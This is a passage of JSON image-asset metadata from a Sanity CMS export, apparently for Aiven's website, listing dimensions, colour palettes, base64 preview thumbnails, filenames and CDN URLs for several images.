{"_createdAt":"2023-05-16T13:58:14Z","_id":"image-9d2b9e8b7e6ac6e879c86a1abf7b2557b158d60d-1200x630-jpg","_rev":"THDGXgbtbTWNUZ8wxnrQBD","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:58:14Z","assetId":"9d2b9e8b7e6ac6e879c86a1abf7b2557b158d60d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAhEAABBAEEAwEAAAAAAAAAAAABAAIDERIEEyExBRRBkf/EABYBAQEBAAAAAAAAAAAAAAAAAAcCBP/EABoRAAIDAQEAAAAAAAAAAAAAAAABAhESUQT/2gAMAwEAAhEDEQA/AG2j9PbZnhlXNpjp3aQzBrIzfeTfqnybhb1+Kh8c0bEBoXRRo5280K/ojlXbNiZW8NcKQuqMDAcIU4fTBtcP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79431f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6652f","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#925706","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c277","foreground":"#000","population":0.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.41,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Home_page_meta_preview.jpg","path":"images/sczeoy4w/production/9d2b9e8b7e6ac6e879c86a1abf7b2557b158d60d-1200x630.jpg","sha1hash":"9d2b9e8b7e6ac6e879c86a1abf7b2557b158d60d","size":55982,"uploadId":"6BaiEY7O9Q3SLaxLqUVLyFCauN5exSFI","url":"https://cdn.sanity.io/images/sczeoy4w/production/9d2b9e8b7e6ac6e879c86a1abf7b2557b158d60d-1200x630.jpg"} {"_createdAt":"2022-06-30T19:55:55Z","_id":"image-9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471-jpg","_rev":"QRl2cGoCgj0FlAhkRrhefC","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:47Z","assetId":"9d3cb0ef137e1e9ee9fb7066b25baf316bb01957","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DPT5D0*iUHt2qt*|VtivjEXn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIFBv/EAB8QAAEEAgIDAAAAAAAAAAAAAAEAAgMEBRIRMQYTIv/EABcBAAMBAAAAAAAAAAAAAAAAAAMFBgf/xAAhEQABAwMEAwAAAAAAAAAAAAACAAERAwQzBRMhsTFRcf/aAAwDAQACEQMRAD8A0lvHVIcSLLNnS6g8OaOFDxz1SZCuLEYdFt9NA7RFKaq8HTZvEt2tO3CO2qET8tPStc6+kL7m1IHRxNaBqeO0REjvM5/UC1wjPpf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e3d0a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf5a10","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bdbe","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84b4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.08,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg","path":"images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg","sha1hash":"9d3cb0ef137e1e9ee9fb7066b25baf316bb01957","size":153802,"uploadId":"KfEUkKO68PU0sJ3z4i3WahJ27XHc65cX","url":"https://cdn.sanity.io/images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg"} {"_createdAt":"2023-04-06T12:39:07Z","_id":"image-9d8a0b12b3a36aae655955d50f330b298672af24-1999x1944-png","_rev":"ulgXm0wFeNKgOZ86vt9WCF","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:07Z","assetId":"9d8a0b12b3a36aae655955d50f330b298672af24","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0282921810699588,"height":1944,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6klEQVQ4jX2Ty1ITQRSG8z4K6kP4HG5cycUlYqGFWlZZpXskaFkWGywUXLjTci1CUEc2kpBkMlySzKWnb9NzI7/VnWRIUFh8dc50n/77XHpK16eXMDm9hCtTS7g6tYyJ6WVMzCxjcrZsuDa70vdnymbv6tRLXJsp4/rsCm7cLePm/GvcfraKO89XcevpW5SefNzF480KFta3Mbf2HXNrW7i3toX5tW+4/24LC+vfzd4DzfttPPywg8WNChY3dvFocxcvPv3Aqy8W3nz9jfJnC6Vam6B6EmDP7qCy72Bn30Gl6qCy38Lufgs/qg5+1g7x6+AIe80T/DnyUDshBQdtgnqHoNEhqLcJSpxzMMYQBD663S583wcJAvOtfY32CQlAaQgpBZSKEBsUoiiCEAKMM0OJMgZNSKlBCGmCoiJYQkoJpWLESQIVx4jjBGmaIcsyJEkKISUo40anxHSGJss+elOL6cMaI6wU0jRFnudGKM0ynJ72cNrrIctzyCgyGn1BplPloFwg5BGoVGBRDK4SyDhFlGQGleaIs9Mz8p5BpTnEqCAdEfSZgEc5fCoQcIlQxuBxCpFkEHEGrlKD9kWSD9ZTcCn/FQwpgxcQuD4BoQxcRpAqRjRARMpcavZ0X1VcwEcFhz3UAwkIAaUMatCzftOT/nCkRBiGcF0PfqAnrgcoTKy8TJBzUQxAowX5IJgMBD3fN9/6oiRJxodS9HBwQPvq3JT14EbjdGb66egK0iy7WND4+vlwDi6EoXhWA3Tp+i0maWoqiZPErI2VPBQdMhQvLikq0G0JzQD7l0qT3Zjg+Qz/Jz60rh/AOW6jdXgM5+gE7a6L0LRgPMPeEMrO/LM1Vtiu6/UattOr1ZuGZsvpuZ4/Fnv2613AaIZd10XDdlBt2Kg1bDRtB67njcVqQX4ZlLHCdlyP122HV+tNXq3b3HaOuB8QzoUoYrSgdRmUscJ2XN+q24dW9aBh1Q7qlt06tAJCLC5EEfMXnoV4z1vYjpkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323c54","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#90d2f7","foreground":"#000","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90d2f7","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e94b1","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#066cc4","foreground":"#fff","population":0.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step2.png","path":"images/sczeoy4w/production/9d8a0b12b3a36aae655955d50f330b298672af24-1999x1944.png","sha1hash":"9d8a0b12b3a36aae655955d50f330b298672af24","size":510678,"uploadId":"fYzkQeAnHxN3KVa2JbzW6l71vhroIRme","url":"https://cdn.sanity.io/images/sczeoy4w/production/9d8a0b12b3a36aae655955d50f330b298672af24-1999x1944.png"} {"_createdAt":"2024-07-17T09:15:31Z","_id":"image-9db0d2b7694388aca138d53f69930085ac84f1e3-1920x1080-jpg","_rev":"jEln45CgOQD4spzxey19f6","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T09:15:31Z","assetId":"9db0d2b7694388aca138d53f69930085ac84f1e3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJFE=-VD~TwIx]xw?FxuX9xt?G%1RPnioz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGA//EACMQAAEDBAICAwEAAAAAAAAAAAECAwQABRESBiExURMicdH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEAf/EACERAAEDAQkAAAAAAAAAAAAAAAEAAgMTBBIUIUFhoeHw/9oADAMBAAIRAxEAPwCI5NytEuVJbamOgIWrJSD4qYt8aZfLozFiTX1Oun6jsD9zTSxgSL98byUqQU6lOBgjFUE2O1aZUF+3IDDpc02T69d0uxzUISWjP2yTPLUddceO07Ysk6xpMKQ7IccSdioHIOQPFFYyOQXRTytpizjrsD+UVMRLqiUmlf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a2b5a","foreground":"#fff","population":6.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07076a","foreground":"#fff","population":7.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#07076a","foreground":"#fff","population":7.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b19f","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cecef5","foreground":"#000","population":0.29,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#87484c","foreground":"#fff","population":6.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d46834","foreground":"#fff","population":3.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast-4-ai_meta-preview.jpg","path":"images/sczeoy4w/production/9db0d2b7694388aca138d53f69930085ac84f1e3-1920x1080.jpg","sha1hash":"9db0d2b7694388aca138d53f69930085ac84f1e3","size":379073,"uploadId":"qY50Y3qEaZWutZDovHjzzgRKt7bjQAqu","url":"https://cdn.sanity.io/images/sczeoy4w/production/9db0d2b7694388aca138d53f69930085ac84f1e3-1920x1080.jpg"} {"_createdAt":"2023-09-08T12:25:38Z","_id":"image-9db7ccce699d40d4c20b1126e0f1c43c702867b9-1000x1000-png","_rev":"7lO65z9OheRFnytB4aAgwI","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T12:26:21Z","altText":"Aiven hoodie and beanie with GCP partner of the year badge","assetId":"9db7ccce699d40d4c20b1126e0f1c43c702867b9","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444851","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1551","foreground":"#fff","population":12.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1551","foreground":"#fff","population":12.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c8ba","foreground":"#000","population":0.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#daba96","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6c91","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce6b0b","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven-hoodie-beanie.png","path":"images/sczeoy4w/production/9db7ccce699d40d4c20b1126e0f1c43c702867b9-1000x1000.png","sha1hash":"9db7ccce699d40d4c20b1126e0f1c43c702867b9","size":674349,"title":null,"uploadId":"2VMIIfKPcS2SvRUWqCAam5IGMLzyEPqc","url":"https://cdn.sanity.io/images/sczeoy4w/production/9db7ccce699d40d4c20b1126e0f1c43c702867b9-1000x1000.png"} {"_createdAt":"2023-02-17T12:39:11Z","_id":"image-9db936f4a0a71294bc6092790b47ac8763529c2a-2000x757-png","_rev":"A5seFJXEmkKSGRuwrwKb2d","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:39:11Z","assetId":"9db936f4a0a71294bc6092790b47ac8763529c2a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DQKH?^0x0.}@i[s:WUWCbIf%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.642007926023778,"height":757,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACT0lEQVQokWPQ19dnQMYMDPsZGBh9GW5nsTNeTOfimBMqLl3tJadb4KFqWBpkrF8e5aBfFemh2xkRobYqOVfqelmL4LemyRz/22cx/t91gwFmELO+vj6rvr4+i4OpNouEugl7o7eMwPM8VuMvpWwJb4s5i16WixS/6rEqfDkzvvDNpLLCD21d+V9apub9ap2W9K91usX/1hnc/9tngQ1k1NfX59TX1+fX19fntjTW5ZHTNOav9JCTfZLHFvangnXmvyr2tX8bRdb8nuaw5ueC7DV/p7Su+dc1dc2/jlnr/rXPWPivdXrs/7YZQv9bp8NdyAo1lMPKWJdTWsOEu9ZLRuxJHpvbnwrW2v9V7L3/GkV6fk2x6fk1O6Xn74Tmnn/dU3r+d87s/d8+s/l/23Sff20z+P+1TIMbyATyLsjrDqbarBLqJhyN3jIiz/NY7f+UMxX9r2Rt/FfD3fC3QbjhT4dWw68pEQ2/pzQ2/OuZ1vivY1b5v/YZrv9bp/P+r5+E4UJ2a2MdLllNY74aTzmZZ3msoX/LGGf8r2RZ87+KffX/ao41f9oV1vycFrj695T61f+6p6/93zFrwf/2GbH/WqcL/aubiBIpbCAvmxrq8SlrGwnmuChKXc/kcP1SwlL2vZy99Xs5R8u3GqGWzz2mLZ+nJLR87W1p/tE+tfVX2/SqP63T3cAubEZ4GYY5DAz0RXX1DcTtTXXEm3xk5FZGiWqtjxPXWxcrprs2WUlvVaGj7pqiaN31mdm6mzNLdI7k16g8rOoU/N8+k/n/xnMMACM9/E2joNiLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a84304","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":6.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d298a1","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945859","foreground":"#fff","population":0.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":6.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-1-types-of-hosting-by-company-growth-rate.png","path":"images/sczeoy4w/production/9db936f4a0a71294bc6092790b47ac8763529c2a-2000x757.png","sha1hash":"9db936f4a0a71294bc6092790b47ac8763529c2a","size":53272,"uploadId":"MyyXerJGGRqDBPd0OZLxt6ssMpdAe5l8","url":"https://cdn.sanity.io/images/sczeoy4w/production/9db936f4a0a71294bc6092790b47ac8763529c2a-2000x757.png"} {"_createdAt":"2023-09-06T08:24:29Z","_id":"image-9db9718b7de7faee35cdd61cef684d5d04e042f2-2555x1094-png","_rev":"7lO65z9OheRFnytB4YX6O6","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:24:29Z","assetId":"9db9718b7de7faee35cdd61cef684d5d04e042f2","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.335466179159049,"height":1094,"width":2555},"exif":{"ColorSpace":1,"PixelXDimension":2555,"PixelYDimension":1094,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABlklEQVQokXXQzU8TQRzG8f6pRkNfd7e7LQZDQFJqpJyk3e3SkPCSkraGiwkkGI3yoqlQQRsSwKDx4IVUQ7HiQHfr4UtmViiXHp78DpP5zDO/0JCWRyZi2MSSDgmzSNwanETKRUvPDkwobNiEdZto0iFuuWhWEc1y1EykisRMh2hSnttEjIKaEh4M6oWgnfn/dctBN2bQk3nV+EE8z73IM+7HZtRPwnr+Fu3HVXdlQkNaQTXsg0V0s4Bm2sRNl5g1RyI9T3p0kbFsmczTCpO5Ktlcjex0jcxUlUcTSxgPSwEY1h0ihtMH07Posn7KZWR8idL8K16sNXj5ep+NrSb1nUMa+yd8/HTC3uev1HePKVffMvJ4Mfhy1JR7kgkqK3C4pOZkrsbmuwNaP89otzucn3cQ4hLP693md0fwZrPJeHY5ACUkwZs93AWfTD9np3GMEFf4vo/n+fi9f3S7PVq/BN++tzn60mJ1fY+xG1AudRAoG77/cETnj+DyykOILhd/u5y2Lqjv/qCyckBlpcnC8jajmbICrwE+abWgM+zaggAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343469","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#222a79","foreground":"#fff","population":1.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":57.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#869cc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#828ad5","foreground":"#fff","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":57.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242ca4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-application.png","path":"images/sczeoy4w/production/9db9718b7de7faee35cdd61cef684d5d04e042f2-2555x1094.png","sha1hash":"9db9718b7de7faee35cdd61cef684d5d04e042f2","size":199620,"uploadId":"LP3sd3HP7QbKwTxIVt4Mp6BS8Mn8hljB","url":"https://cdn.sanity.io/images/sczeoy4w/production/9db9718b7de7faee35cdd61cef684d5d04e042f2-2555x1094.png"} {"_createdAt":"2022-06-16T22:53:51Z","_id":"image-9dd6f76b3afa1df5439feb8189af4d128c17559b-994x306-svg","_rev":"0HOthdQkSgJdYc0C9vxVlx","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:51Z","assetId":"9dd6f76b3afa1df5439feb8189af4d128c17559b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"Di27^2cbcHg6fBaLi}j0e@fA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2483660130718954,"height":306,"width":994},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWklEQVQYlY2QvS9DYRjFX9zbksZH3apK9Tlvz8XCghDx3fjqUgmLiKULwSgiFqt/QNgIJiObwWJxmSWiCyMxC0mlXrlyJWIy/PLkyck5T56jYivmILZixhvyptK+Mkq9fqj40oZyk0lFTUWkFQX/RjmLxQdnubgXXSsNRvZNjeWVrPjidrnbnLKo0xWEVq5o5UL/NZdTYH1P/AqsmXm8r159uovsvh+FL8yC5X22NeY369xUShPpVkI3UdBIQYyCOgpqKYhQEKeghQJQ4ASao8Ldp+uhrcJl6OytYF+ZHcszPYm51Zgr0kPoHAVZCiYoyFAwQkEfBR0U9FIwScEUBaMBOaUyh6g4ed6yLovH9rWZt26MkxqYCBOahB4ODOMBYxT0U9AVBPq6f2Qo0GdV6NZU2dcma3tm2vY+4+HzF6XbO8uoWUlBPQWJ4D2fBgqiAX4FfhU/7/p78guaT2gwslnsyAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445c6d","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060a69","foreground":"#fff","population":0.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08c6f7","foreground":"#fff","population":3.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0a268e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#345cf0","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e5172","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08c6f7","foreground":"#fff","population":3.93,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"TalonOne-logo.svg","path":"images/sczeoy4w/production/9dd6f76b3afa1df5439feb8189af4d128c17559b-994x306.svg","sha1hash":"9dd6f76b3afa1df5439feb8189af4d128c17559b","size":1794,"uploadId":"AgDA32raz4Dcy9WNcHytFTEKYeDeB6ks","url":"https://cdn.sanity.io/images/sczeoy4w/production/9dd6f76b3afa1df5439feb8189af4d128c17559b-994x306.svg"} {"_createdAt":"2023-06-07T13:33:52Z","_id":"image-9e509c83f325f0dda7597ec10d76f488dc411ae2-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWBLXz","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:33:52Z","assetId":"9e509c83f325f0dda7597ec10d76f488dc411ae2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MjH{7nx[$+Rlxt_4xut2jrRk$ls:IoX8jF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHA//EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABQYREhMxFCEyUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EAB4RAAEEAQUAAAAAAAAAAAAAAAEAAgMRBBITI1Fh/9oADAMBAAIRAxEAPwB61rftOrdarEVeRXKheeAeB5xOu7xuzXu1HNFCzEEK0h8YnV40bdsZZeSHbz+ZvvVFOkVLXSPUNIyFwOCV+skiyHmXbHqMwE8mo10q/wBBmRJJO2zsoJII4wyI6DasNpkZaeUn3HzOGJZVFNX/2Q==","palette":